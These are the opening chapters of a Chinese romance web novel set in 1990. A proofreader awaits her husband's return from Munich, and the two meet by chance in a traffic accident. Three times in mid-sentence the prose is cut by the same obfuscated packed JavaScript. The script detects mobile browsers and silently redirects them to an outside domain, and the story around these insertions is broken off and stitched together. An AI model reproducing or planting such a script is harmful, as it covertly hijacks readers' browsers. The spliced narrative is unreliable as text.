《试爱[九零]》 1. 第一章 九零年元旦前夕,佟语非接到了丈夫莫道言从西德打来的越洋电话,他即将在两周后回国,届时会从法兰克福飞香港转机抵京,自北京乘火车到西城。 八五年,他们结婚的同年,国家发布留学方针,支持留学,鼓励回国,来去自由,并取消了自费出国留学资格审核,自费出国潮随之迅速升温,莫道言顺应时代召唤,交大本科毕业后,毅然放弃公费留美,自费“洋插队”去了心仪的西德慕尼黑某顶级工业大学的工程与设计学院深造。 按多数情况预计,硕士课程通常需要两到三年,博士项目三到六年,异国留学生多了语言和环境适应等因素,周期还要长上一两年,纵使他天赋异禀,完成学业起码得六七年,然而仅仅刚迈入第五个年头,他就荣归故里,新身份是德国一家光电器件跨国公司的技术部经理。 元旦节这天是周一,佟语非供职的西城日报社连上单休的礼拜天放假两天,她照例在家做卫生,早饭后搀扶着莫老太太去外面晒太阳,听广播,广播里播放着人民日报在庆祝新年的社论《满怀信心迎接九零年代》:“只要保持稳定,即使是平平稳稳地发展几十年,中国也会发生根本性的变化……” 莫老太太感叹道:“稳了好啊,稳了才能平平安安,过好日子。” 莫老太太不只听广播,还是忠实戏迷,听关肃霜和童芷苓唱戏,关注戏曲评论,早期戏曲报一期不落,老了眼花得厉害,要劳烦孙媳妇或小孙子读给她听,近些天风湿病又犯了,肌肉酸痛的情况有所加重。佟语非读了一会儿戏曲报,停下为莫老太太按腿,莫老太太侧卧在摇椅上,从浅紫色的丝绸褂内衬兜里,拿出一个珊瑚粉的真丝钱袋,塞到佟语非手里:“别只顾我这个老太婆,去添几件新衣裳,马上夫妻团聚了。” 佟语非似笑非笑:“奶奶嫌我是土包子,配不上您的宝贝长孙?” 莫老太太疼孙子,但没顾此失彼:“你是个秀外慧中的姑娘,只是衣服都太素淡了,没看道行房间里贴的那些个外国女人,个个花枝招展,比挂历上的模特还招摇,小言的品行没得说,怕就怕花里胡哨的看多了,乍来水土不服。” 莫道行是莫道言的弟弟,音乐学院乐器表演专业大三学生,主修钢琴,辅修大提琴,房间的墙壁上贴了很多国内外音乐家的海报,唯二两张女性,一张是意大利红极一时的女高音,一张是瑞典流行女歌手。 把她和明星相提并论,佟语非受宠若惊:“奶奶,钱不够呢。” 莫老太太认真问:“还缺多少?柜子里还有你爸妈今年给的祝寿钱,我去取。” 佟语非把钱还回去:“缺得多了,只有衣服还不行,我得去娘娘山的神仙庙求一求,求个能易容的神仙下凡相助才成。” 莫老太太戳着佟语非的脑门笑:“哪有自个贬自个的?你要需易容,他能日思夜想得这么快回来?” 莫老太太把她说成莫道言回国的动因,实属抬举她了,老太太年事已高,贵人多忘事,可她是当事人,万不会没有自知之明。她和莫道言从认识到结婚,只见了三次面,一次相亲,一次订婚,一次领证和办婚礼酒席,间隔一个半月,婚后第二天他就走了,满打满算,共处加起来不到三天。莫道言留学期间,偶尔来过信,平素惜字如金,信写得很简略,三言两语报喜不报忧地讲完近况,余下的篇幅是统一的问候,除去莫老太太,她和公公婆婆小叔子都是“祝好,勿念”里的省略主语,并无特别之处。 只有一次,莫道言单独写了她,在他出国的第二年春天,往信里夹塞外币马克的初次,他漂洋过海自费留德,国家没有补贴,父母给了第一学期的经费,承诺会接续供给,被他婉拒,他言明自讨苦吃的留学路,不能拉着一家人共沉沦,既已结婚,理当扛起养家糊口的担子,妻子佟语非工资微薄,给家里出了生活费会所剩无几,因而设法解决了自用的开销后,包圆了她那份钱,尽莫莫家不缺佟语非的口粮,用他的话说,亲情是亲情,规矩是规矩。 他在信中的末尾写道:“佟小姐初来乍到,请各位多加体谅与照顾。” 这句话被莫老太太当作莫道言惦念佟语非的证据,佟语非却不敢当,称呼里都隐不住的生疏,哪儿来的念?她羞于承认莫道言对她的惦念,但对她尊严的维护是承认的,莫道言秉节持重,可到底刚满二十岁,留学生挣钱的门路无外乎勤工俭学,艰苦不言而喻,她并非不通人情世故,奈何几十块钱的工资捉襟见肘,容不得亮明气节,只能做些力所能及的琐事。 莫母孟如卿是市委宣传部代理副部长,分管文艺科与新闻对外宣传科,平日雷厉风行,巾帼不让须眉,可儿行千里母担忧,看到莫道言寄来的那些钱,再硬的一颗心也软了,旁若无人地红了眼圈:“小言素来好强,不管受多大的罪,都打碎了牙齿往肚里咽,在家有家人,在外有谁疼?” 莫父莫长林是红联机械厂的厂长,崇尚“天将降大任于斯人也,必先苦其心志,劳其筋骨”的朴素成才理论,但嘴硬心软,这边叨叨着男子汉大丈夫,就得吃苦耐劳自强不息,有担当能扛事,比上山下乡那阵,儿子还是赶上好时候了,那边转头找了海外的朋友去探底,向妻子承诺:“他要真到了吃不饱穿不暖的田地,我这个当老子的,砸锅卖铁都要飞过去,把人完完整整给你带回来。” 朋友不辱使命,很快探底凯旋,转告莫长林,是金子放在哪里都闪光,莫道言是导师门下的宠儿,不但做了助教,还被推荐到校办工厂兼职,奖学金外多了两份额外收入,比将课余时间都搭在中国餐馆洗碗池中的其他留学生好上百倍。 莫长林难掩骄傲的神色:“算个男人,没给老子丢脸。” 莫道言寄来的钱越来越多,信越写越短,逐渐没有信只有钱了,莫老太太翻来覆去地看以前的信,叹息莫道言走那么久,照片都不寄一张,高矮胖瘦都不晓得,催着佟语非去照相馆照相,给莫道言回信交换照片。 佟语非架不住奶奶的三请四催,去照了相,不确定莫道言想在繁忙的学业里看到她,就没塞照片只写了信,信中转述了奶奶对他的思念,委婉地向他索要了照片。在莫道言后次寄回的马克币中,有了张在柏林墙前的单人照,照片取的远景,他白衣黑裤,侧着脸仰望着西柏林勃兰登堡大门,玉树临风的身姿与苍凉恢弘的历史遗迹相得益彰。 依然没有信,没有只言片语。 莫老太太拿着孙子没露正脸的照片爱不释手:“我们小言潇洒得很哟。” 周二上班时,佟语非向校对一组的组长欣姐打了假条,事由填的是“要紧家事”,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819098|175458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入职校对岗以来,风里来雨里去,从未有过无故旷工,欣姐信得过她,爽快地批了假,下班后,她去百货大楼买了件毛呢大衣和一双北京百花牌的皮鞋,颜色是莫老太太钟爱的水粉色。 莫老太太姓徐,祖上以清政府的高级将领发家,做过旧时代纺织实业大王的千金小姐,父亲在抗日运动中慷慨解囊捐钱捐物,是“民族的光辉”,她荣升光辉的女儿,与一位红军将领结为秦晋之好。解放后全国部队整编,孩子们随着父亲部队信息的变动,成了根正苗红的四野子弟,个顶个的成器,大儿子是管着几千人饭碗的大厂长,女儿是师范大学历史教授,小儿子牺牲在反击战前线,是保家卫国的烈士,老太太大半生都被亲人庇护在羽翼下,在多事之秋的年月都未受侵扰。 水粉色和永葆少女心的莫老太太,完美适配。 孟如卿看到她买的衣服和鞋子,会心而笑:“你素来讨人喜欢,人贵有恒。” 有恒能用于很多有意义的事情,用于讨人欢心不免有些讥刺,却是她赖以生存之道,她乖顺地对婆婆笑:“道言求学辛劳,等他回来了,我会好好照顾他。” 孟如卿常年被各路新文化思潮熏陶,绝非守旧的封建家长:“他有他的辛劳,你有你的不易,夫妻要互相扶持。” 莫道言回国那天是周四,公婆位居要职,工作重要性毋庸赘述,莫道行要备战期末考试,于情于理,去火车站接莫道言的任务都该由她负责。四年多不见,她对莫道言的印象还停留在从前,为免相逢对面不相识,她做了块白色纸板,用小楷在纸板上写了莫道言的名字,继而找出他的一些旧照,试图将他的样子印在脑中。 莫道言不爱拍照,成年后只有集体照和证件照,相对较新的是申请留学时,拍的二寸黑白照,面庞方正,俊逸清朗,目光微微下挑,分明的棱角透着些许的疏离。 佟语非描摸着那双深邃的眼睛想,她现在对于他,大概也是完全的陌生人了。 周四下午,她穿上新衣新鞋,来到火车站,在人山人海的出站口举着纸板,从两点举到了五点,直到两列从北京来的火车,上下旅客完毕,一列返回机务段检修,一列以另一班次发往重庆,才打道回府,她猜测两人可能走岔了。 在小区楼下,她遇到了迈着小快步来寻她的保姆林姨,对方说莫道言又来了电话,几天前慕尼黑突遭暴风雪,城市大面积停电,机场和火车站等交通枢纽都关闭了,今日刚恢复供电和通讯,天气恶劣,归期不得不延后。 林姨怕她失落,安慰她道:“好事多磨,等积雪融化,道言一定会飞来的,血气方刚的男青年,哪有不想老婆的?” 佟语非隐隐松了口气,嫣然而笑:“不急的,安全第一。” 莫道言未能如期回国,事情暂告一段落,佟语非却未如愿回到安定的生活轨迹,一波未平一波又起,她和同事们在如火如荼地校对着宣传稳定发展的稿件时,来城里办事的二叔佟建国,捎来了父亲佟建忠的口信,有要事急盼她回家一趟,共商对策。 佟语非问:“叔,您知道家里出了什么事吗?” 佟建国挠挠头:“你知道你爹的,面子看得比命都重,不想说的,上老虎凳辣椒水都没辙,不过有段日子没见佟意那小子了,不会又是他吧?” 2. 第二章 佟家有三女一子,大女儿佟万,二女儿佟语非,佟语非下面有一妹一弟,妹妹佟如三岁时患脑膜炎夭折,弟弟佟意排老四,母亲生佟意时难产大出血,一心盼来了儿子,没能看一眼就撒手人寰。佟意作为幺儿,佟家五代单传,承接着传宗接代的荣光,从出生就有了在家横着走的特权,衣来伸手,饭来张口,再大点砸邻居家玻璃,烧苞谷杆垛,打架斗殴,煽动差生罢课……大小祸事不断,彻头彻尾的小霸王。 鉴于父亲太拿佟意的事当事,小题大做不下几十回,佟语非没把二叔的话挂在心上,好事不出门,坏事传千里,倘使佟意惹出了比之前更大的祸端,不会一点儿风声没有,没准是佟意初中毕业后,游手好闲了五六年,到了娶亲的年纪,父亲想搞个大阵仗给他施压,变着法要他改邪归正罢了。 到了下一个礼拜天,她才回村。 万江镇佟家村,距市区三十多公里,过半是坑坑洼洼的土路,每天只有一班往返的分段计费中巴车,收费三块五,与她的行程正好相反,想当天折返,只能骑自行车,车程两个半小时,如果一口气骑不来稍作歇息,时间还要叠加,为了早去早回,她全副武装,帽子围巾口罩手套齐上阵,天不亮就揣上干粮和水壶上路了。 城区是沥青和沙子混合而成的柏油路,夏季粘稠,冬季脆裂,腊月的天折胶堕指,西北风如风箱呼呼地吹,吹得人无从招架,昨夜下过雨,路面硬滑,佟语非骑得小心翼翼,但还是在一个胡同口,被一个忽然冲出来的摩托车惊到了。她来不及避闪,猛然转向,直直地撞上了旁边的石墩,连人带车翻倒在地,幸好平衡力不错,两手撑住了地面,只摔了个重重的屁股蹲,没有四仰八叉后脑勺撞地,以造成更大的伤。 撞她的“肉包铁”安然无恙,依托着大块头和驾驶人乔卓成的两条大长腿,稳稳滑行后停了下来,乔卓成留了崔健式的二分头中长发,与白净清秀的面容稍显割裂,看到她滑稽的翻车和呆坐的傻相,止不住的笑意先于同情从口中溜出:“妹子你玩杂技啊?” 坐在他身后的莫道言拍了拍好友的肩,制止了乔卓成不合时宜的说笑。 乔卓成立即正色:“小姐,伤到你没有?” 莫道言率先下了车,快速走到佟语非面前,伸手过去:“需要送你去医院吗?” 如果佟语非此刻抬眸,会看见一只指甲修剪得齐齐整整的修长的手,手的主人穿着黑色中长款的立领风衣,下半张脸掩在领子后,愈加引人注目的狭长瑞凤眼似曾相识。她心中的余悸远大于身体的疼痛,仅剩的余力只够关注那堆狼藉,她用攒了几个月的粮票换的土鸡蛋,花生油和白糖,碎的碎,洒的洒,惨不忍睹。 她踉跄着站起来,欲提醒他们留神,还好撞的是她,假若撞了上年纪的大爷大妈,后果不堪设想:“你们骑太快了,这条道……” 莫道言抻臂横在她腰间,以免她摔倒情况复杂化,直截了当道:“你要多少钱?” 佟语非避嫌地闪过身:“钱……” 莫道言扶起倒地的自行车,调正车头还给了她:“这些损坏的物品值多少钱?” 这两人很可笑,撞了人,一个没心没肺,笑她出洋相,一个看似关心,语气里尽是急迫,没一个人向她认错致歉的,好像她没伤到住院,没被撞残,就能忽略不计? 佟语非不满地踢开撑脚架,支起车子检查,前轮车皮掉了块漆,其他功能正常,遂将话咽了下去,抹沓着眼皮,冷声道:“两个大活人赶着投胎,凑不出一对眼睛,还凑不到一张嘴吗?” 莫道言怔了怔:“对不住了。” 佟语非余气未消,没理人。 莫道言提了提音量,字正腔圆道:“我们的错,请包涵。” 佟语非这才低声道:“赔一百块吧。” 莫道言摸了摸空空如也的衣兜,想起兑换的人民币限额已花完,示意乔卓成垫付,车虽是乔卓成开的,但乔卓成起个大早去火车站接他,这桩撞车算起来因他而起,等取回汇款会如数归还。 乔卓成没吭声,两人是至交好友,不会因为这点钱较真,钱他有,不想给,至少不想爽脆地给,女人他见多了,不把他当人的还是头一个,他骑的是两万块钱选购的日本铃木,衣服从头到脚都是进口货,长得虽非貌比潘安,没缺少过赞美声,到哪儿都被高看一眼。他的发小莫道言,曾经是无出其右的学霸,如今是学富五车的海归,如此出挑的两个人在这儿赔着笑脸,竟被她视若无物,还不如破鸡蛋壳上沾着的那层泥土。 如果是平常的陌生人,无视就无视了,大路朝天各走一边,谁都不妨害谁,但两车相撞的那一刻,假设没了意义,有事就论事,他容不得有人虚头巴脑地装清高,尤其是踩践着莫道言来装:“你出国多年,不了解行情,兄弟我是做买卖的,深浅一试便知。” 他回给莫道言一个“绝不惹是生非,但不能做冤大头”的眼色,大步迈向佟语非,问是怎么定的价,佟语非从把手挂着的干粮袋里,抽出两张红色卫生纸,擦着车座上的泥点子,细致数来,鸡蛋单价多少,白糖一包几块,花生油一桶十几,精确到小数点后两位,总共四十四块三毛八,另外的五十多是满勤款,东西重新买齐需要时间,她赶不及回程,明早上班会迟到,如若他需要单位佐证材料,她后续开了寄过去。 “这么说你还要少了,迟到被扣的钱没算进去?” 乔卓成不悦,满勤款扯淡了吧?她这是没住月球,要不然他下半辈子养着她呗,这条抄近道的必经之路,她能走,他也能走,没料到这么早会有人经过,喇叭按晚了,他的主责他认,难道她就完全无责?易地而处,骑车的是他,东西绝不会白白毁了。 佟语非不认可乔卓成的偷换概念,难不成走在马路上,都得是马拉松选手才能避免被撞?再假使她骑的不是自行车,是开的汽车或坦克,他们是否要自认倒霉?交通事故认定看的是成因,不看车技高低,这长头发的男青年不只模样流里流气,话说得也无逻辑,脑子怕不是灌了水?她仅是腹诽着,没有明说,毕竟目的不是争吵,顺当拿到赔偿才是。 她的不言不语和看白痴的神情无限接近,这惹怒了乔卓成:“钱我可以给,有个条件,钱赔了你,东西归我,油就不要了,你把鸡蛋和糖捡起来,给我放车上,我家的狗吃糖炒蛋。” 不提乔卓成不友善的揶揄,那包鸡蛋无一幸免,蛋清蛋黄混着糖和油,像一只有着无数须角的黄白黏膜怪,紧紧吸附着地面,如果能捡起来,“覆水难收”就能改写定义了。 佟语非半响没吱声,乔卓成活灵活现地演绎着“扬眉吐气”的具象表达:“捡鸡蛋有难度,换个没难度的,你把帽子和口罩摘了,对我笑一下,笑得好了,我会多给钱。” 如果去问认识佟语非的朋友或同事,大家一定公认她是个爱笑的和善女人,笑容让人如沐春风,但其实她没那么爱笑,人的笑和幸福好像都是有额度的,她的额度在童年前用光了,童年后的笑寥若晨星,因为不爱笑,还被佟意叫过臭脸婆。再学会笑,是嫁到莫家后,那些笑虚虚实实,可即使是高高在上的莫老太太,也没有如此颐指气使地向她索笑过,她摔了跤,礼物撞得稀巴烂,那人竟要她笑,花钱买她的笑,她是卖笑的吗? 积压在心的苦闷就像被封装的燃料, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819099|175458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只需一个适时的导火索,就能燃起熊熊的火焰,佟语非大专毕业,是货真价实的大学生,质而不俚,骂街不是她的长项,但佟家村多的是骂街好手,姐姐佟万是好手中的好手,她没吃过猪肉,还没见过猪跑吗? “臭流氓,这么喜欢看人笑,祖上把笑都卖完了吗?” 她啐了一口,把听过的能骂出口不能骂出口的,一篮子极尽侮辱之能事的话全轰了出去,那些骂人的词犹若子弹,将乔卓成当场射成了筛子,及至一些狠毒的字眼牵连到家中女眷,他如梦初醒。 乔卓成薅着佟语非的衣领申饬:“一人做事一人当,祸不及家人,你再出口成脏撒泼,我就破了不打女人的戒。” 没有理智的人是没道理好讲的,何况是他不讲道理在先,佟语非根本当他放屁,杀气腾腾地挠了上去,乔卓成避之不及,右脸颊挨了两道抓痕,将要毁容之时,有人闪来一把攥着她的手,把她挡到了一边,同时一拳敲在了乔卓成的头顶,震得他脑瓜子嗡嗡作响。 莫道言回来了,他垂眸对佟语非道:“打架你占不了上风,省省力气赶路吧。” 佟语非和乔卓成争论的间隙,莫道言从乔卓成放在摩托车上的腰包中取了一沓钱,去了附近的商店,虽然他近些年人在国外,但有多个渠道了解国内发展,知道有些店铺的交易不再限收粮票,私下接受现金交易,便敲开了一家临街铺子。这个点行人稀少,助长了小老板的胆量,卖给了他大豆油,冰糖和两包小熊饼干,一包鸡蛋糕,一罐奶粉,和佟语非先前的有出入,勉强能送人,还能省时间,如果她是真心不想失去满勤的话。 店主还送了两个碎花布包,一包用来包油,其余的一股脑装进第二个包,莫道言将其分扎在佟语非自行车后座的两侧,做完这些,又摸出兜里的十二张大团结递过去,东西未必合她的意,钱他照付,多付的二十块做医药费,她的右手破了皮。 佟语非愣怔片刻,只收了鸡蛋钱,没有即刻走,蹲在那只黏膜怪前,从大衣口袋里拿出一只格子手绢铺在手上,往上面捞了一把,起身径直穿过两人,将鸡蛋液涂在了摩托车的车座,那摩托立时像发炎生疮冒出的组织液,污浊一片。 乔卓成望着佟语非跨上自行车的身影消失在胡同口,气不打一处来:“兄弟我的一世英名算是毁了,竟被个丫头片子当面挑衅。” “你让人做的,得偿所愿了。” “我得去拜拜佛,净走背字了。” “收收那身放浪味吧,再这么明火执仗,背运缠死你。” “有一说一,见不见光死另说,一双瞳人剪秋水,我是想看看配得上这双眼睛的人的真容,有多惊天地泣鬼神,谁曾想……” 乔卓成长叹一声,忿忿不平。 “你都赔她东西了,干嘛还多给一百?怜香惜玉?莫博士,你我有别,你是有家室的人,忠肝义胆只能留给自家的太太。” 莫道言缄默无言,推着摩托车往那家店走,要去借水和抹布清洗车座,乔卓成忽感愧疚,哪壶不开提哪壶,莫道言迫于压力,用人身自由抵换的求学路,迥异的成长环境和教育背景,和妻子必然离心离德,他非但不能感同身受,还轻佻取笑,该死! 乔卓成知错就改:“我自赏嘴巴,你大人有大量,别往心里去。” 莫道言面无表情道:“我约了陈老师喝早茶,迟了违礼。” 初始的问题是能用一百块解决,谁料到半路杀出的乔卓成铁了心要做这个变量?对错不重要,用对时间重要,换句话说,对无关紧要的人和事,多一事不如少一事,他一贯的行事作风概括起来不过四个字,省得麻烦。 3. 第三章 中平路二十三号,交大教职工家属院。 前电机系教授陈怀礼家住一楼,带个四十平的小院子,莫道言与恩师在客厅内围炉煮茶,铁架炉里燃着的蜂窝煤忽明忽暗,数月前他接到老师洋洋洒洒一记越洋电话,当机立断,回国接受力邀,欲加入老师和几位师兄师姐共同创办的新立电器公司。 两壶口感醇厚的热普洱饮毕,莫道言的工作事宜推进却如蜗行牛步。 这没出乎陈怀礼的预料,他这个得意门生原则性极强,历来丁是丁卯是卯,能辞去优渥的高薪工作,义无反顾奔新立而来,他已心满意足,亲兄弟明算账,谈判不是一蹴而就,细火慢熬方得其味,多花些时日打磨条件,是为以后的良性合作打基础。 陈怀礼大手一挥:“身体是革命的本钱,吃饱了慢慢谈。” 晏荌是陈怀礼的妻子,亦是交大外语系教授,对莫道言一如既往的热情,盛意邀他留下吃午饭,下厨做了一桌下酒菜,还包了虾仁饺子,只为让他尝尝家乡的味道。 莫道言不由自嘲,晏教授若没在菜里投毒,必是菩萨转世。 陈家有对异卵双生女,大女儿陈如潮,小女儿陈觉遥,陈如潮和他同届,高中都在西城第一中学就读,同级不同班,大学考的是毗邻交大的医科大学,在他出国前夕,她鼓足勇气以一封万字情书,表露了少女热烈的情思,却只得他八个字的回信:“学业为重,心无旁骛”。 陈如潮备受打击,痛苦地接受现实,岂料不到短短一个月,他就打破宣言娶了别人,一个名不见经传的报社实习生。年轻气盛的陈如潮视之为奇耻大辱,在他的订婚日,吞下了上百片安眠药,好在被同屋的妹妹及时发现,喊上父亲将其送到医院洗胃,才捡回了一条命。 老师和师母知书达理,知道错不在他,对他始终如一,但我不杀伯仁,伯仁却因我险死,仔细想来,拒人于千里之外有很多方式,他选了最伤人的,对于陈如潮,不能乞求原谅,至少能不碍眼。 莫道言欲婉言谢绝晏教授的好意,被乔卓成悄默默拉到一旁,乔卓成急色道:“来都来了,哪能一走了之?师母的红烧鱼一绝,全城酒楼的名厨比之都逊色,择日不如撞日,饱饱口福嘛。” 乔卓北的目光落在院子里,莫道言顺着他的视线望去,一个高挑的倩影正在练舞,那是陈觉遥,她身穿汉式练舞服,耳戴驼色的耳内式助听器,专心致志地练着起源于汉代的盘鼓舞,舞姿轻盈曼妙,标准的瓜子脸上眉目如画,是个天生的美人胚子。 陈觉遥自小能歌善舞,是个众口交赞的舞蹈苗子,但她的成长之路并非一帆风顺,八岁那年,她因一场事故双耳失聪,一夜之间从绚丽多彩的舞台,跌进暗无天日的牢笼,任谁看了都不忍叹惜天妒红颜。 为了女儿,陈老师夫妇跑遍了全国各大医院,当陈觉遥的伤情被确诊为不可逆转而无力回天时,他们又为女儿联系了拥有最先进技术的助听器生产厂家,陈如潮是个缺乏幽默感的人,但为逗妹妹一笑,翻遍了每一期的《幽默大师》。 在家人的关爱下,陈觉遥渐渐走出阴霾,不仅考入了音乐学院舞蹈表演系,成了莫道行的师姐,还在念书时,就是系里的名人,毕业后被招进市歌舞团,仅用两年时间就成为团里的台柱子,现在的她,今无论何时何地出现,都明媚耀眼,光彩照人。 莫道言一语道破天机:“醉翁之意不在酒?” 乔卓成坦陈:“君子有成人之美,别扫兴嘛。” “老师和师母不是我一个人的,你嘴又没长我身上。” “少揣着明白装糊涂,没有你,这门我进得来吗?” 乔卓成说的属实,且不说陈莫两家是世交,陈怀礼慧眼识才,一向器重莫道言,就只说两人同属陈怀礼教授的学生,一个尖子生,一个掉尾灯,待遇便是云泥之别,莫道言是陈教授的座上客,他充其量是陪太子读书的小厮,能出入陈家结识陈觉遥,都是拜优秀的莫道言所赐。 莫道言出国后,乔卓成很少登陈家的门,一方面是没有和陈教授论今说古的博学多才,一方面是没有向晏教授公开想追求陈觉遥的底气,哪怕是陈觉遥约他赴家宴,他都会找理由搪塞。 盼星星盼月亮盼到的名正言顺的蹭饭机会,他不甘心就这么被浪掷,力劝莫道言留下:“我问过了,陈医生去南京培训了,不会上演仇人见面分外眼红的戏码。” 莫道言终究留下了,不单单为乔卓成,师兄周定和随后到访,多年不见,必得话旧。 周定和早年赴美留学,身边同学大多选择定居美国成家立业,唯独他回国建设的决心始终未改,最终携妻儿举家回乡,新立的创建,督促莫道言回国效力,都有他在幕后积极推动。起初陈怀礼对邀请莫道言入伙犹豫不决,唯恐功败垂成误其前程。是周定和力陈“师徒同心其利断金”的道理,说前路虽艰但终见光明,他们不是耽误人前程,而是要帮大家开创前程,还强调莫道言是襟怀洒落胸怀大志的人,不会计较一时得失,这才打消了陈怀礼的顾虑。 借着接风宴的由头,众人推杯换盏畅所欲言,他们聊到近年来技术的革新,方正激光照排技术的产业化进程,万维网的发展前景。如果蒂姆·伯纳斯-李的构想成真,文件资源就能通过超链接实现互联互通……话题自然转到莫道言即将开始的国内新生活,然后不可避免地提及他的妻子。 周定和对这位师弟名草有主的消息早有耳闻,莫道言才貌双绝,爱慕者如云,英年早婚不稀奇,稀奇的是未毕业就娶了个鲜为人知的姑娘,金屋藏娇和一见钟情,必居其一,周定和出国早归国晚,错过了莫道言与陈如潮的那些纠葛,全部好奇心都聚焦在“能拿下莫道言的小莫太太究竟是何方神圣”上。 席间周定和兴致勃勃地追问:“道言,弟妹是哪所名校毕业?现在哪里高就?父母是知识分子还是企事业单位的领导?” 人总是习惯揆情度理,在周定和的想象中,能与万里挑一的莫道言相配的,必定是同样卓尔不群的佳人。师兄的问题连珠炮地往外蹦,换作别人的丈夫,或能对答如流,莫道言却一问三不知,他对那个名义妻子的了解,并不比在座的多多少,甚至她的样貌都在岁月的涤荡下,卷了发黄的毛边,褪了颜色,模糊不清。 周定和是信息与控制技术的行家,心理学却未曾涉猎,想当然地将莫道言的沉默解读为“日日思君不见君的哀愁”,拍拍莫道言的肩膀笑:“触景生情,想老婆了?思归若汾水,无日不悠悠,我和你嫂子老夫老妻的,还一日不见如隔三秋呢,别难为情,想了就是想了。” 空谈不尽兴,周定和灵光一闪,百闻不如一见,何不把弟妹请来一叙?莫道言一别五年,弟妹空闺独守,怕是快成望夫石了,应在丈夫回国的第一时间看到人,不然他们占着他,是夺人所爱,另外还有私心,他太想见见传说中的小莫太太了。 乔卓成洞若观火,莫道言是他强留的,不能被师兄把人架到火上烤,给莫道言解围道:“道言不在的日子,是太太为他堂前尽孝,嫂子劳苦功高,哪能召之即来挥之即去?重量级的惊喜得压轴出场嘛。” 周定和后知后觉:“道言用心良苦,我差点坏了好事,自罚一杯!” “一杯哪够?莫道言是师弟,我就不是了,师兄够偏心的,至少加一杯!” 陈觉遥游离在众人高涨的欢庆之外,姐姐在鬼门关转的那一遭,父母与莫道言可以一笑泯恩仇,她却做不到,爱之欲其生,恶之欲其死,她对莫道言始终多有怨恨,他可以薄情寡义,对姐姐的一腔热忱置之不顾,却不该将恩爱秀到陈家来,平白践踏家人颜面。 她拨通陈如潮的电话,当姐姐在喧嚣中询问缘由时,她语带嘲讽道:“姐姐你才高八斗,定然猜不到我今日遇见谁了,吃过饭了吗?既然吃过,就不说了,怕你吐……” 两人的对话有一搭没一搭,旁人听不见陈如潮的应答,都当是妹妹在向姐姐倾诉些无伤大雅的烦心事,绝不会将电话内容与莫道言联系起来,但莫道言听得出,他不善扯闲篇,陈觉遥这番逐客令,反倒给了他告辞的由头,说了声先回去了,改日再来拜访,就匆急地踏出了陈家的门。 导师与师兄只当他归心似箭,并未多加挽留。 乔卓成随他悻悻而出:“真想嫂夫人了,回家?” 莫道言跨上摩托车:“回你家!” --- 佟语非无论如何都想不到,弟弟佟意打人被抓,能九曲十八弯,弯向怒骂莫道言。 佟建忠抽着劣质的旱烟,背着手在院子里踱步,第三根旱烟在泛黄的指尖燃尽,佟语非从姐姐佟万和姐夫赵伟民的七嘴八舌中,弄清了来龙去脉,佟意去录像厅看电影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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父亲没读过书,偏要充文化人,照着“万事如意”的吉祥话给儿女起名,姓佟的四个孩子,名字连起来活像一场笑话,佟万马马虎虎,老二佟意打从穿开裆裤就落下一堆外号,佟语非原名佟事,六个月大时被送养给了外人,十二岁那年让佟建忠硬从养父母家拽回来,她抱着养父起的花名死都不改,不是上户口非得统一姓氏,兴许养父家的姓都不舍得丢,好好的“万事如意”,偏生“事”字作梗,“如”字早夭,一家子要能顺遂,那才叫见了鬼。 面对姐姐的冷嘲热讽,佟语非回敬:“你若疼他,就在他捅娄子的时候拦着点,不然发再多无名火也于事无补,气不顺去劫狱,我不是你的出气包,也没手眼通天的本事,捞人无能为力,另请高明吧,” 佟语非临走都没松口,惹得佟万恼羞成怒:“铁石心肠的臭丫头,杀人不过头点地,要我们怎么做啊,把命都还给她才解气?” 赵伟民轻抚着妻子的后背,好言相劝:“也许语非不是不肯帮,是有苦衷帮不了,小说里不都写了嘛,阶级差距是无法跨越的鸿沟,何况还缺了个调和剂,结婚五年,那男人走了五年,可见对妹妹的情分深不到哪儿去,公婆对儿媳的好坏,全凭儿子在不在乎,再是有钱有势,势不到小妹身上都白瞎……唉,看人脸色的生活很煎熬的。” 他是上门女婿,同是天涯沦落人,深有体会。 他们和传说中的妹夫,只在婚礼上见过一次,乍然提到这么个人,赵伟民都想不起妹夫姓甚名谁了:“那小子姓什么来着?” 佟万想了片刻道:“莫,莫道言。” 赵伟民嘀咕,还有钱人呢,起的什么破名,没比岳父起的好听多少,像和尚的法号。 此话由赵伟民讲出来,瞬时点醒了佟万,妹妹或许真有难言之隐。 她疾步追了出去,在东桥头拦停佟语非:“你实话跟姐说,莫家对你好吗,看重你吗?莫道言有常给你写信吗?除了写信还有别的表示没有?说过哪年哪月回国吗,如果不回国,你能跟着出去吗?你高傲,可以不和姐说,但头脑要拎清了,该要的要,该争的争,你一个清清白白的黄花大姑娘,十七岁就嫁了他,跟他睡一晚和睡五年没区别,他要像一头沉婚姻里的男人,做了陈世美,就是丧良心,狼心狗肺不是个东西……” 佟语非忍无可忍:“我的事不用你们管,管好你们自己。” 